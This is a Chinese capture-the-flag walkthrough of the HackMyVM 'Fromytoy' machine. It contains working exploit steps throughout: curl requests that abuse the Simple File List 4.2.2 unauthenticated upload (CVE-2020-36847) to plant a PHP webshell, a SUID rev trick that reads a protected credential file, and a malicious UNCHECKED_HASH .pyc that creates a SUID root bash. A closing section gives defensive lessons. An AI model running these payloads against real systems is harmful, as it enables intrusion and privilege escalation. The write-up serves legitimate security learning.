HackMyVM Fromytoy 通关记录|Simple File List RCE、SUID rev 凭据泄露与 .pyc 劫持提权
靶机链接:Fromytoy
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Fromytoy | 192.168.1.115 | Oracle VirtualBox 靶机,内部运行 Docker 容器化 WordPress |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache、3000/tcp WordPress | 明确主攻击面在 WordPress |
| 插件定位 | readme.txt 暴露 Simple File List 4.2.2 | 确定可用的未授权上传 CVE |
| 初始 RCE | CVE-2020-36847 + eeSFL_ID/eeSFL_Token 参数 | 获得 www-data 命令执行 |
| 凭据泄露 | SUID rev 二进制读取 server_backup_info.txt | 获得 miku 明文密码 |
| 用户落地 | miku SSH 登录 | 获得 user flag |
| Root 提权 | sudo python3 cleanup_task.py + __pycache__ 777 + UNCHECKED_HASH .pyc 劫持 | 获得 root flag |
0x02 侦察与信息收集 (Reconnaissance)
1. 内网主机发现
从 Kali 攻击机先确认同网段存活主机:
nmap -sn 192.168.1.0/24 --min-rate 1000
192.168.1.115 的 MAC 地址 08:00:27:63:9B:58 属于 Oracle VirtualBox,主机名解析为 fromytoy.lan,确认为靶机。
2. RustScan 联动 Nmap 全端口识别
rustscan -a 192.168.1.115 --ulimit 5000 -- -sV -sC -T4
RustScan 首轮输出:
Open 192.168.1.115:22
Open 192.168.1.115:80
Open 192.168.1.115:3000
Nmap 联动复核后的服务摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
80/tcp | HTTP | Apache httpd 2.4.62 (Debian) |
3000/tcp | HTTP | Apache httpd 2.4.51 (Debian),WordPress 6.9 |
补充全端口扫描确认没有其他端口:
nmap -p- --min-rate 5000 -T4 192.168.1.115
结果只有 22、80、3000 三个端口开放。UDP top 1000 均为 closed。
3. Web 服务初步观察
端口 80:
curl -i http://192.168.1.115/
返回仅 6 字节的 index\n。目录枚举未能发现其他有效路径,80 端口不是主线。
端口 3000(WordPress):
curl -s http://192.168.1.115:3000/ | grep -iE 'generator|title'
关键信息:
- 站点标题:
VOCALOID NEXUS – The Cyber-Digital Soul Archive - WordPress 版本:
6.9 - 页面标题:
Protocol: HISTORY - 站点处于维护模式(仅首页),但
wp-login.php、wp-json、xmlrpc.php均可正常访问
4. WordPress 用户枚举与插件识别
通过 XML-RPC 枚举有效用户:
curl -s -X POST http://192.168.1.115:3000/xmlrpc.php \
-d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value>admin</value></param>
<param><value>test</value></param></params></methodCall>'
返回 Incorrect username or password.,说明 admin 用户存在。依次测试后确认以下用户均存在:
admin
vocaloid
miku
hatsune
nexus
XML-RPC 可用方法(system.listMethods):
system.multicall
system.listMethods
system.getCapabilities
demo.addTwoNumbers
demo.sayHello
pingback.extensions.getPingbacks
pingback.ping
wp.getUsersBlogs 不在列表内,XML-RPC 被主动限制。pingback.ping 保留,可作 SSRF 探测。
插件识别:
curl -s http://192.168.1.115:3000/wp-content/plugins/simple-file-list/readme.txt | head -10
输出:
=== Simple File List ===
Stable tag: 4.2.2
确认 Simple File List 4.2.2 已安装。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. Simple File List 4.2.2 未授权文件上传
漏洞背景
Simple File List 是 WordPress 的一个文件列表/上传插件。版本 ≤ 4.2.2 的 ee-upload-engine.php 端点缺少有效的认证校验,允许未授权用户上传任意文件。该漏洞编号 CVE-2020-36847。
原始发现者 coiffeur 在 EDB-ID 48449 中发布了首个公开 PoC。之后的公开版本(如 EDB-ID 52371)简化了请求参数,导致部分部署环境中上传失败。
关键参数问题
在实际测试中,仅发送文件而不带 POST 参数会收到 HTTP 500 空白响应:
curl -X POST http://192.168.1.115:3000/wp-content/plugins/simple-file-list/ee-upload-engine.php \
-F 'file=@shell.png' -D -
HTTP/1.1 500 Internal Server Error
Content-Length: 0
回溯原始 exploit (EDB-ID 48449),发现上传端点实际需要以下参数:
| 参数 | 值 | 说明 |
|---|---|---|
eeSFL_ID | 1 | 文件列表 ID |
eeSFL_FileUploadDir | /wp-content/uploads/simple-file-list/ | 上传目标目录 |
eeSFL_Timestamp | 1587258885 | 时间戳令牌 |
eeSFL_Token | ba288252629a5399759b6fde1e205bc2 | 固定的 CSRF 令牌 |
同样,重命名端点 ee-file-engine.php 需要:
| 参数 | 值 | 说明 |
|---|---|---|
eeSFL_ID | 1 | 文件列表 ID |
eeFileOld | cmd.png | 原文件名 |
eeListFolder | / | 目录路径 |
eeFileAction | Rename|cmd.php | 重命名动作 |
还需要 Referer 和 X-Requested-With 请求头来绕过 Ajax 检测。
2. 漏洞利用:上传 WebShell 获得 www-data RCE
完整利用脚本见附件:simple-file-list-rce.py
三步利用过程:
步骤一:上传 PHP Shell(伪装为 PNG)
curl -X POST http://192.168.1.115:3000/wp-content/plugins/simple-file-list/ee-upload-engine.php \
-F 'file=@cmd.png;type=image/png' \
-F 'eeSFL_ID=1' \
-F 'eeSFL_FileUploadDir=/wp-content/uploads/simple-file-list/' \
-F 'eeSFL_Timestamp=1587258885' \
-F 'eeSFL_Token=ba288252629a5399759b6fde1e205bc2'
响应:
SUCCESS
步骤二:重命名为 .php
curl -X POST http://192.168.1.115:3000/wp-content/plugins/simple-file-list/ee-file-engine.php \
-H 'Referer: http://192.168.1.115:3000/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1' \
-H 'X-Requested-With: XMLHttpRequest' \
-d 'eeSFL_ID=1' \
-d 'eeFileOld=cmd.png' \
-d 'eeListFolder=/' \
-d 'eeFileAction=Rename|cmd.php'
响应:
SUCCESS
步骤三:验证命令执行
curl -s 'http://192.168.1.115:3000/wp-content/uploads/simple-file-list/cmd.php?c=id'
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WebShell 落地路径:
http://192.168.1.115:3000/wp-content/uploads/simple-file-list/cmd.php?c=<command>
3. 环境确认
通过 WebShell 收集系统信息:
Hostname: 949d50994487
Kernel: Linux 4.19.0-27-amd64 (Debian Buster)
System: Docker container (/.dockerenv exists)
Users: root (0:0), www-data (33:33), miku (1000:1000)
关键发现:
- 这是一个 Docker 容器,不是裸金属/虚拟机
/home/miku目录不存在(容器内)- WordPress 数据库凭据来自环境变量:
WORDPRESS_DB_HOST=dbWORDPRESS_DB_USER=wp_userWORDPRESS_DB_PASSWORD=wp_password_123WORDPRESS_DB_NAME=vocaloid_db
0x04 横向移动:www-data → miku
1. SUID 二进制发现
在常规的 SUID 枚举中,除了标准系统二进制之外,发现了一个异常项:
find / -perm -u=s -type f 2>/dev/null | grep -vE '(chsh|chfn|newgrp|gpasswd|passwd|mount|su|umount)'
输出:
/usr/local/lib/.sys_log_rotator
详细属性:
ls -la /usr/local/lib/.sys_log_rotator
file /usr/local/lib/.sys_log_rotator
结果:
-rwsr-xr-x 1 miku miku 14568 Jan 20 05:04 /usr/local/lib/.sys_log_rotator
setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked
关键点:
- SUID 所有者是
miku,不是root - 文件位于
/usr/local/lib/并以.前缀隐藏 - 基于 util-linux 2.36.1 的
rev命令源码
执行测试:
/usr/local/lib/.sys_log_rotator --help
输出:
Usage: .sys_log_rotator [options] [file ...]
Reverse lines characterwise.
Options:
-h, --help display this help
-V, --version display version
For more details see rev(1).
功能等价于 rev:逐行反转字符串。虽然功能简单,但因为它以 miku 身份运行,可以读取任何 miku 用户有权访问的文件。
2. 寻找 miku 专属文件
find / -user miku -type f 2>/dev/null | grep -v proc | grep -v sys
结果:
/var/www/html/wp-content/uploads/server_backup_info.txt
权限检查:
ls -la /var/www/html/wp-content/uploads/server_backup_info.txt
-rw------- 1 miku miku 254 Jan 20 12:36 /var/www/html/wp-content/uploads/server_backup_info.txt
权限 0600 意味着只有 miku 自己(以及 root)能读取。www-data 直接读取会失败:
cat /var/www/html/wp-content/uploads/server_backup_info.txt
# cat: Permission denied
3. 利用 SUID rev 读取备份文件
/usr/local/lib/.sys_log_rotator /var/www/html/wp-content/uploads/server_backup_info.txt
输出是反转的每一行,再次 rev 还原:
/usr/local/lib/.sys_log_rotator /var/www/html/wp-content/uploads/server_backup_info.txt \
| /usr/local/lib/.sys_log_rotator
结果:
Backup Date: 2025-01-10
Status: Pending verification
Note for Sysadmin:
The SSH key rotation failed. Reverted to temporary credentials for host 'fromytoy'.
User: miku
Password: V0cal0id_M1ku_39
SECURITY ALERT: Please delete this file after verification
获得 miku 凭据:
| 项目 | 值 |
|---|---|
| 用户 | miku |
| 密码 | V0cal0id_M1ku_39 |
| 来源 | /var/www/html/wp-content/uploads/server_backup_info.txt |
| 读取方法 | SUID rev 二进制(以 miku 身份运行) |
4. SSH 登录 miku
sshpass -p 'V0cal0id_M1ku_39' ssh \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
miku@192.168.1.115 'id'
结果:
uid=1000(miku) gid=1000(miku) groups=1000(miku)
0x05 权限提升:miku → root
1. sudo 权限枚举
sudo -l
结果:
Matching Defaults entries for miku on fromytoy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User miku may run the following commands on fromytoy:
(ALL) NOPASSWD: /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py
miku 可以以 root 身份无密码执行指定的 Python 脚本。
2. 审计 cleanup_task.py 及 system_utils 模块
cat /usr/local/lib/python_scripts/cleanup_task.py
#!/usr/bin/env python3
import sys
import os
import system_utils
def main():
print("[*] Starting system cleanup...")
if os.geteuid() != 0:
print("[-] Error: This script must be run as root.")
sys.exit(1)
system_utils.check_disk_space()
print("[+] Cleanup completed successfully.")
if __name__ == "__main__":
main()
脚本导入了一个自定义模块 system_utils。查看该模块:
cat /usr/local/lib/python_scripts/system_utils.py
import os
def check_disk_space():
print("[*] Checking disk usage...")
os.system("df -h")
两个发现:
system_utils.check_disk_space()调用os.system("df -h"),会执行外部命令- Python 在导入时会查找同目录下的模块
3. __pycache__ 目录权限
ls -la /usr/local/lib/python_scripts/__pycache__/
drwxrwxrwx 2 root root 4096 Jan 20 00:35 .
drwxr-xr-x 3 root root 4096 Jan 19 22:50 ..
-rw-r--r-- 1 root root 566 Jan 19 22:41 cleanup_task.cpython-39.pyc
-rw-r--r-- 1 root root 333 Jan 20 00:35 system_utils.cpython-39.pyc
关键问题:__pycache__ 目录权限为 777(所有人可读写),但里面的 .pyc 文件属于 root:root。
虽然不能直接修改 .pyc 文件,但在 Linux 中目录的写权限意味着可以删除该目录中的任意文件(无论文件自身权限),然后创建新文件。
4. UNCHECKED_HASH .pyc 劫持
Python 3.9 的 .pyc 文件支持三种失效模式:
| 模式 | 说明 |
|---|---|
TIMESTAMP | 根据源文件时间戳判断是否重新编译 |
CHECKED_HASH | 默认模式,根据源文件哈希判断(PEP 552) |
UNCHECKED_HASH | 不检查源文件,直接信任 .pyc |
如果以 UNCHECKED_HASH 模式编译 .pyc,Python 解释器将无条件使用它而不验证源文件是否匹配。
Python 的 UNCHECKED_HASH 编译模式是其中的决定性因素:如果脚本以默认 CHECKED_HASH 编译,Python 将在导入时检测到源文件哈希不匹配而重新编译,从而让替换无效。
利用原理:
- 编写恶意
system_utils.py(让check_disk_space()执行我们的命令) - 以
UNCHECKED_HASH模式编译为.pyc - 删除
__pycache__中的原始.pyc,替换为恶意版本 - 匹配源文件时间戳以规避其他检查
- 用
sudo执行cleanup_task.py,Python 导入恶意模块
完整利用脚本见附件:pyc-hijack-privesc.sh
手动执行步骤:
# 1. 编写恶意模块
cat > /tmp/system_utils_mal.py << 'EOF'
import os
def check_disk_space():
print("[*] Checking disk usage...")
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
os.system("cat /root/root.txt > /tmp/root_flag.txt && chmod 666 /tmp/root_flag.txt")
print("[+] Backdoor installed")
EOF
# 2. UNCHECKED_HASH 编译
python3 -c "
import py_compile
py_compile.compile(
'/tmp/system_utils_mal.py',
cfile='/tmp/system_utils.cpython-39.pyc',
invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH
)
print('[+] Compiled')
"
# 3. 替换目标 .pyc
rm -f /usr/local/lib/python_scripts/__pycache__/system_utils.cpython-39.pyc
cp /tmp/system_utils.cpython-39.pyc /usr/local/lib/python_scripts/__pycache__/system_utils.cpython-39.pyc
touch -r /usr/local/lib/python_scripts/system_utils.py \
/usr/local/lib/python_scripts/__pycache__/system_utils.cpython-39.pyc
# 4. 触发 sudo 执行
sudo /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py
输出:
[*] Starting system cleanup...
[*] Checking disk usage...
[+] Backdoor installed
[+] Cleanup completed successfully.
5. 验证提权结果
ls -la /tmp/rootbash /tmp/root_flag.txt
cat /tmp/root_flag.txt
结果:
-rwsr-sr-x 1 root root 1168776 Jul 18 00:27 /tmp/rootbash
-rw-rw-rw- 1 root root 124 Jul 18 00:27 /tmp/root_flag.txt
a6c7cf996c275fa5afe6e47bc6f5c79e
用 SUID bash 确认 root 身份:
/tmp/rootbash -p -c 'id; whoami'
结果:
uid=1000(miku) gid=1000(miku) euid=0(root) egid=0(root) groups=0(root),1000(miku)
root
6. .pyc 劫持的三个关键条件复盘
本次提权能成立,依赖三个条件同时满足:
| 条件 | 实际情形 | 影响 |
|---|---|---|
| sudo NOPASSWD 执行 Python 脚本 | (ALL) NOPASSWD: /usr/bin/python3 .../cleanup_task.py | 非特权用户可触发 root 上下文 Python |
| 脚本导入外部模块 | import system_utils → 同目录查找 | 模块路径可控 |
__pycache__ 可写 + .pyc 可删除 | drwxrwxrwx + 目录写特权 | 可替换为恶意编译文件 |
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/miku/user.txt - 内容:
26d1ebd4ec8c55cc69f190d0d37f6dac
Root Flag
- 路径:
/root/root.txt - 内容:
a6c7cf996c275fa5afe6e47bc6f5c79e
附件下载
| 脚本 | 说明 | 下载 |
|---|---|---|
simple-file-list-rce.py | Simple File List 4.2.2 未授权上传 RCE 脚本(基于 coiffeur EDB-ID 48449,补充 eeSFL 参数) | 下载 |
pyc-hijack-privesc.sh | Python .pyc 劫持提权脚本(自编写,UNCHECKED_HASH 编译 + pycache 替换) | 下载 |
复盘总结
Fromytoy 的主线不是单个高危漏洞,而是插件文件上传、SUID 凭据泄露和 Python 模块缓存配置不当的连续放大。
-
Simple File List 的上传参数容易被忽略。 CVE-2020-36847 的较新 PoC 只上传文件,缺少
eeSFL_ID、eeSFL_Token等参数,导致500响应。回退到原始 exploit 版本才能正确利用。在评估插件漏洞时,不同版本的 PoC 差异值得留意。 -
SUID 二进制不必是 root 才危险。
.sys_log_rotator只是rev命令,SUID 所有者是miku而不是root。但它的存在使www-data能够读取仅miku可读的server_backup_info.txt,直接把一个文件权限问题变成了凭据泄露。 -
备份文件里的明文密码仍然是常见疏忽。
server_backup_info.txt记录了 SSH 密钥轮换失败后的临时凭据,既没加密也没及时删除,成为了横向提权的关键。 -
__pycache__的 777 权限是提权突破口。 Python 模块缓存目录设置了drwxrwxrwx,任何用户都可以删除并替换其中的.pyc文件。结合PYCInvalidationMode.UNCHECKED_HASH,攻击者可以让 Python 解释器无条件执行恶意代码。 -
Docker 容器不是安全边界。 虽然靶机运行在容器中,但获得了容器内的 root 后,可以通过挂载的卷和 Docker 内部网络访问宿主机资源。
/var/lib/docker/overlay2/下的多个 overlay 挂载点暗示了这一点。 -
防守侧应同时收紧插件更新、文件权限和 Python 模块缓存安全。 插件应及时更新以修复已知未授权上传;运维备份文件应加密存储且定期清理;Python 脚本目录及
__pycache__不应设为全局可写;授予NOPASSWD的脚本应审查其导入链中的每一层。